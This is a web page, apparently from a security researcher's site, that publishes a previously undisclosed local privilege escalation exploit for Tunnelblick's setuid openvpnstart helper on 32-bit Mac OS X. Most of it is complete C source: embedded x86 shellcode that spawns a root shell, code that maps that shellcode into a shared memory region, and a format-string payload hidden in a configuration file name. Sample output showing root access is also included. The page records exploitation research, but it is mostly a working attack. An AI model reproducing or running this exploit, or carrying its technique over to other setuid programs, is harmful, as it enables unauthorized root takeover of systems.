Mac OS X Tunnelblick Local Privilege Escalation (via Format String) Exploit
Table of contents
- Published on:
- 2014-02-16 00:00:00 +0000 UTC
- Last modified:
- 2022-08-22 10:00:56 +0000 UTC
This exploit was never publicly disclosed (until 2022).
A successful run provided output similar to this:
[*] Written 171 bytes from shellcode at 0x40f0 (43 bytes, 128 nops) to
/Library/.localized.
[*] Mapped shellcode from /Library/.localized at 9ffff000 (base 9ffff000).
[*] Options: eip to 9ffff041, offset 161.
[*] Configuration files expected at /Users/moonlight/Library/Application
Support/Tunnelblick/Configurations.
[*] Creating /Users/moonlight/Library/Application
Support/Tunnelblick/Configurations/%.40875d%206$hn%.20481d%205$hn
[*] Building environment...
[*] Ah, the gambit. High stakes, higher rewards. Sleeping for 3 seconds...
(...)
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),
401(com.apple.access_screensharing),
204(_developer),100(_lpoperator),98(_lpadmin),80(admin),61(localaccounts),
29(certusers),20(staff),
12(everyone),9(procmod),8(procview),5(operator),4(tty),3(sys),2(kmem),
1(daemon),402(com.apple.sharepoint.group.1)
Full source code is provided below:
1/*
2 * Copyright (C) 2010 Subreption LLC. All rights reserved.
3 * LH
4 */
5
6#include <unistd.h>
7#include <stdio.h>
8#include <stdlib.h>
9#include <fcntl.h>
10#include <dlfcn.h>
11#include <sys/stat.h>
12#include <sys/types.h>
13#include <pwd.h>
14#include <string.h>
15#include <mach/vm_prot.h>
16#include <mach/i386/vm_types.h>
17#include <mach/shared_region.h>
18
19#define DEFAULT_TARGET_ALLOCATION 0x9ffff000UL
20#define SYS_shared_region_map_file_np 295
21
22#ifdef DEBUG
23#define dbgprintf(out, fmt, args...) \
24do { \
25 fprintf(out, fmt , ## args); \
26} while (0)
27#else
28#define dbgprintf(out, fmt, args...) { }
29#endif
30
31struct target {
32 char *name;
33 char *short_uname;
34 unsigned long target_write4;
35 unsigned int offsets[2];
36 unsigned int lengths[2];
37};
38
39struct _shared_region_mapping_np {
40 mach_vm_address_t address;
41 mach_vm_size_t size;
42 mach_vm_offset_t file_offset;
43 vm_prot_t max_prot;
44 vm_prot_t init_prot;
45};
46
47extern int errno;
48extern char *optarg;
49
50static char *openvpnstart = "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart";
51static char *userconfigdir = "Library/Application Support/Tunnelblick/Configurations";
52static char *userdirpath = "/Users";
53static char *adminwritefile = "/Library/.localized";
54
55unsigned char sc_x86exec[] =
56"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd"
57"\x80\x31\xc0\x50\xb0\x17\x6a\x7f"
58"\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
59"\x73\x68\x68\x2f\x62\x69\x6e\x89"
60"\xe3\x50\x54\x54\x53\x53\xb0\x3b"
61"\xcd\x80";
62
63struct target targets[] = {
64 {
65 "3.1beta20 (build 2132)", /* latest beta as of Nov 29, 2010 */
66 "Darwin 10.5.0 i386", /* 32bit */
67 0xbffff27cUL, /* saved eip */
68 { /* %.40875d%206$hn%.20481d%205$hn */
69 206,
70 205
71 },
72 {
73 40875,
74 20481
75 }
76 },
77 {
78 NULL, 0
79 }
80};
81
82unsigned long map_shellcode(const char *path, unsigned long base)
83{
84 int err = 0;
85 int fd = 0;
86 unsigned long addr = 0;
87 size_t pagesize = 0;
88 struct stat st;
89 struct _shared_region_mapping_np sr;
90
91 if ((fd = open(path, O_RDONLY)) < 0) {
92 dbgprintf(stderr, "[!] open() failed: %s.\n", (char *) strerror(errno));
93 return 0;
94 }
95
96 if ((err = stat(path, &st)) < 0) {
97 dbgprintf(stderr, "[!] stat() failed: %s.\n", (char *) strerror(errno));
98 return 0;
99 }
100
101 pagesize = getpagesize();
102
103 sr.address = base;
104 sr.size = pagesize;
105 sr.file_offset = (st.st_size < pagesize) ? 0 : (st.st_size - pagesize - 10) & (~0xfff);
106 sr.max_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
107 sr.init_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
108
109 if (syscall(SYS_shared_region_map_file_np, fd, 1, &sr, NULL) < 0) {
110 dbgprintf(stderr, "[!] shared_region_map_file_np() failed: %s.\n",
111 (char *) strerror(errno));
112 return 0;
113
114 }
115
116 addr = sr.address;
117
118 if (close(fd) < 0)
119 dbgprintf(stderr, "[!] close() failed: %s.\n", (char *) strerror(errno));
120
121 dbgprintf(stdout, "[*] Mapped shellcode from %s at %lx (base %lx).\n", path,
122 addr, base);
123
124 /* We, the people, have shellcode. :D */
125 return addr;
126}
127
128
129ssize_t write_shellcode(const char *path, unsigned char *buf, size_t len)
130{
131 int fd = 0;
132 ssize_t out = 0;
133 unsigned char *sc = NULL;
134 size_t sclen = 0;
135 int noplen = 128;
136
137 if (!is_writable(path, 0)) {
138 dbgprintf(stderr, "[!] Can't write to %s, need asl log fallback!\n", path);
139 return -1;
140 }
141
142 sclen = len + noplen;
143 sc = malloc(sclen);
144 if (sc == NULL) {
145 dbgprintf(stderr, "[!] malloc() failed: %s.\n", (char *) strerror(errno));
146 return -1;
147 }
148
149 memset(sc, 0x90, sclen);
150 memcpy(sc + noplen, buf, len);
151
152 if ((fd = open(path, O_WRONLY)) < 0) {
153 dbgprintf(stderr, "[!] open() failed: %s.\n", (char *) strerror(errno));
154 return -1;
155 }
156
157 if (ftruncate(fd, 0) < 0)
158 dbgprintf(stderr, "[!] ftruncate() failed: %s.\n", (char *) strerror(errno));
159
160 if ((out = write(fd, sc, sclen)) != sclen) {
161 dbgprintf(stderr, "[!] write() failed: %s.\n", (char *) strerror(errno));
162 return -1;
163 }
164
165 if (close(fd) < 0)
166 dbgprintf(stderr, "[!] close() failed: %s.\n", (char *) strerror(errno));
167
168 dbgprintf(stdout, "[*] Written %lu bytes from shellcode at %p (%lu bytes, %d nops) to %s.\n",
169 out, buf, len, noplen, path);
170
171 return sclen;
172}
173
174/* Could use access(2) here... but this is more handy */
175int is_writable(const char *path, int must_be_dir)
176{
177 struct stat st;
178
179 if (stat(path, &st) != 0) {
180 dbgprintf(stderr, "[!] stat() failed on %s: %s.\n", path, (char *) strerror(errno));
181 return 0;
182 }
183
184 if (must_be_dir && !(st.st_mode & S_IFDIR)) {
185 dbgprintf(stderr, "[!] %s is not a directory.\n", path);
186 return 0;
187 }
188
189 if (access(path, W_OK) < 0) {
190 dbgprintf(stderr, "[!] %s is not writable for us :(\n", path);
191 return 0;
192 }
193
194 /* We, the people, can write there. :D */
195 return 1;
196}
197
198char *build_fmtstring(unsigned long pcaddr, struct target *t)
199{
200 int i;
201 char offbuf[18];
202 char lenbuf[18];
203 size_t fmtlen = 0;
204 char *fmtname = NULL;
205 char omod = '%';
206 char wmod[4] = { '$', 'h', 'n', 0 };
207
208 /*
209 * %.40875d%206$hn%.20481d%205$hn
210 * [pcaddr 0-2]
211 * [offset 2]
212 * [half write]
213 * [pcaddr 2-4]
214 * [offset 1]
215 * [half write]
216 */
217
218
219 fmtlen = (8 * 2) + (sizeof(wmod) * 2) + (4 * 2) + 1;
220 if ((fmtname = malloc(fmtlen)) == NULL) {
221 dbgprintf(stderr, "[!] malloc() failed: %s.\n", (char *) strerror(errno));
222 return NULL;
223 }
224
225 memset(fmtname, 0, fmtlen);
226
227 for (i = 0; i < sizeof(t->offsets)/sizeof(int); i++)
228 {
229 snprintf(lenbuf, sizeof(lenbuf), "%c.%dd", omod, t->lengths[i]);
230 snprintf(offbuf, sizeof(offbuf), "%c%d", omod, t->offsets[i]);
231 strcat(fmtname, lenbuf);
232 strcat(fmtname, offbuf);
233 strcat(fmtname, wmod);
234 }
235
236 fmtname[fmtlen] = '\0';
237
238 return fmtname;
239}
240
241char *build_fmtname(uid_t uid, gid_t gid, const char *fmtname, unsigned long pcaddr, struct target *t)
242{
243 struct passwd *pwd;
244 int fd = 0;
245 char *tmppath = NULL;
246 size_t tmplen = 0;
247 char *fmtpath = NULL;
248 char *fmtstr = NULL;
249 size_t pathlen = 0;
250
251 if ((pwd = getpwuid(uid)) == NULL) {
252 dbgprintf(stderr, "[!] getpwuid() failed: %s.\n", (char *) strerror(errno));
253 goto bailout;
254 }
255
256 tmplen = (size_t) (strlen(userdirpath) + strlen(pwd->pw_name) + strlen(userconfigdir) + 5);
257 if (tmplen > 4096) {
258 dbgprintf(stderr, "[!] calculated path length is %lu\n.", tmplen);
259 goto bailout;
260 }
261
262 if ((tmppath = malloc(tmplen)) == NULL) {
263 dbgprintf(stderr, "[!] malloc() failed: %s.\n", (char *) strerror(errno));
264 goto bailout;
265 }
266
267 memset(tmppath, 0, tmplen);
268 snprintf(tmppath, tmplen, "%s/%s/%s", userdirpath, pwd->pw_name, userconfigdir);
269 tmppath[tmplen] = '\0';
270
271 dbgprintf(stdout, "[*] Configuration files expected at %s.\n", tmppath);
272
273 if (!is_writable(tmppath, 1)) {
274 goto bailout;
275 }
276
277 if (fmtname == NULL) {
278 fmtstr = build_fmtstring(pcaddr, t);
279 if (fmtstr == NULL) {
280 dbgprintf(stderr, "[!] failed to build fmt string payload.\n");
281 goto bailout;
282 }
283 } else {
284 fmtstr = (char *) fmtname;
285 }
286
287 pathlen = strlen(tmppath) + strlen(fmtstr) + 2;
288 if ((fmtpath = malloc(pathlen)) == NULL) {
289 dbgprintf(stderr, "[!] malloc() for fmtpath failed: %s.\n", (char *) strerror(errno));
290 goto bailout;
291 }
292
293 strcpy(fmtpath, tmppath);
294 strcat(fmtpath, "/");
295 strcat(fmtpath, fmtstr);
296
297 dbgprintf(stdout, "[*] Creating %s\n", (char *) fmtpath);
298
299 unlink(fmtpath);
300
301 if ((fd = open(fmtpath, O_RDWR|O_CREAT|O_TRUNC|O_NOFOLLOW)) < 0) {
302 dbgprintf(stderr, "[!] Can't create payload path.\n");
303 dbgprintf(stderr, "[!] open() failed: %s.\n", (char *) strerror(errno));
304 goto bailout;
305 }
306
307 if (close(fd) < 0)
308 dbgprintf(stderr, "[!] close() failed: %s.\n", (char *) strerror(errno));
309
310 memset(tmppath, 0, tmplen);
311 free(tmppath);
312
313 memset(fmtpath, 0, pathlen);
314 free(fmtpath);
315
316 return fmtstr;
317
318bailout:
319 if (tmppath != NULL) {
320 memset(tmppath, 0, tmplen);
321 free(tmppath);
322 }
323
324 if ((fmtstr != NULL) && (fmtname == NULL)) {
325 memset(fmtstr, 0, strlen(fmtstr));
326 free(fmtstr);
327 }
328
329 if (fmtpath != NULL) {
330 memset(fmtpath, 0, pathlen);
331 free(fmtpath);
332 }
333
334 exit(EXIT_FAILURE);
335}
336
337int main(int argc, char **argv)
338{
339 struct stat filest;
340 int fd = 0;
341 int err = 0;
342 int c = -1;
343 int offset = 161;
344 unsigned long pcbase = DEFAULT_TARGET_ALLOCATION;
345 unsigned long pcaddr = 0;
346 ssize_t scwritten = 0;
347 char *fmtname = NULL;
348 char *luckyenv = NULL;
349 char *wfile = adminwritefile;
350 struct target *zergrush = &targets[0];
351 char *args[] = { openvpnstart, "start", NULL, "1056", NULL };
352 char *envp[] = {
353 "HISTFILE=/dev/null",
354 "PATH=/opt/local/bin:/opt/local/sbin:/usr/bin:/bin:"
355 "/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin",
356 "HISTSIZE=1",
357 "TERM=xterm-color",
358 NULL,
359 NULL
360 };
361
362 while ((c = getopt(argc, argv, "a:o:f:w:p:e:")) != -1) {
363 switch (c) {
364 case 'o':
365 offset = atoi(optarg);
366 break;
367 case 'a':
368 pcaddr = strtoul(optarg, NULL, 16);
369 break;
370 case 'f':
371 fmtname= optarg;
372 break;
373 case 'e':
374 luckyenv = optarg;
375 break;
376 case 'w':
377 wfile = optarg;
378 break;
379 case 'p':
380 pcbase = strtoul(optarg, NULL, 16);
381 break;
382 default:
383 break;
384 }
385 }
386
387 if ((err = stat(openvpnstart, &filest)) < 0) {
388 dbgprintf(stderr, "[!] stat() failed: %s.\n", (char *) strerror(errno));
389 exit(EXIT_FAILURE);
390 }
391
392 if (!((filest.st_uid == 0) && (filest.st_mode & S_ISUID))) {
393 dbgprintf(stderr, "[!] %s doesn't have the setuid-bit set or is not owned by root\n",
394 openvpnstart);
395 exit(EXIT_FAILURE);
396 }
397
398 if (!pcaddr) {
399 /* Map shellcode at shared region trying all methods available */
400 if ((scwritten = write_shellcode(wfile, (unsigned char *) &sc_x86exec,
401 sizeof(sc_x86exec))) < sizeof(sc_x86exec))
402 {
403 dbgprintf(stderr, "[!] Failed to write shellcode to file, falling back to ASL log...\n");
404 /* redacted :> */
405 exit(EXIT_FAILURE);
406 }
407
408 pcaddr = map_shellcode(wfile, pcbase);
409 if (!pcaddr) {
410 dbgprintf(stderr, "[!] Failed to map shellcode file. :(\n");
411 exit(EXIT_FAILURE);
412 }
413
414 /* 0x9ffff041 - nop sled */
415 pcaddr += 65;
416 }
417
418
419 dbgprintf(stdout, "[*] Options: eip to %lx, offset %d.\n", pcaddr, offset);
420
421 fmtname = build_fmtname(getuid(), getgid(), fmtname, pcaddr, zergrush);
422 args[2] = fmtname;
423
424 if (luckyenv == NULL) {
425 dbgprintf(stdout, "[*] Building environment...\n");
426
427 luckyenv = malloc(64);
428 if (luckyenv == NULL) {
429 dbgprintf(stderr, "[!] malloc() failed: %s.\n", (char *) strerror(errno));
430 exit(EXIT_FAILURE);
431 }
432
433 /*
434 * LUCK=II".pack("L", 0xbffff27c).pack("L", 0xbffff27c+2)."ZZZZ"
435 */
436 unsigned long taddr = zergrush->target_write4;
437 memset(luckyenv, 64, 0);
438 sprintf(luckyenv, "LUCK=II");
439 memcpy(luckyenv + 7, &taddr, sizeof(unsigned long));
440 taddr += 2;
441 memcpy(luckyenv + 11, &taddr, sizeof(unsigned long));
442 strcat(luckyenv, "ZZZZ");
443 }
444
445 envp[4] = luckyenv;
446
447 dbgprintf(stdout,"[*] Ah, the gambit. High stakes, higher rewards. Sleeping for 3 seconds...\n");
448 sleep(3);
449
450 execve(openvpnstart, args, envp);
451
452 /* never reached */
453 memset(fmtname, 0, strlen(fmtname));
454 free(fmtname);
455
456 return 0;
457}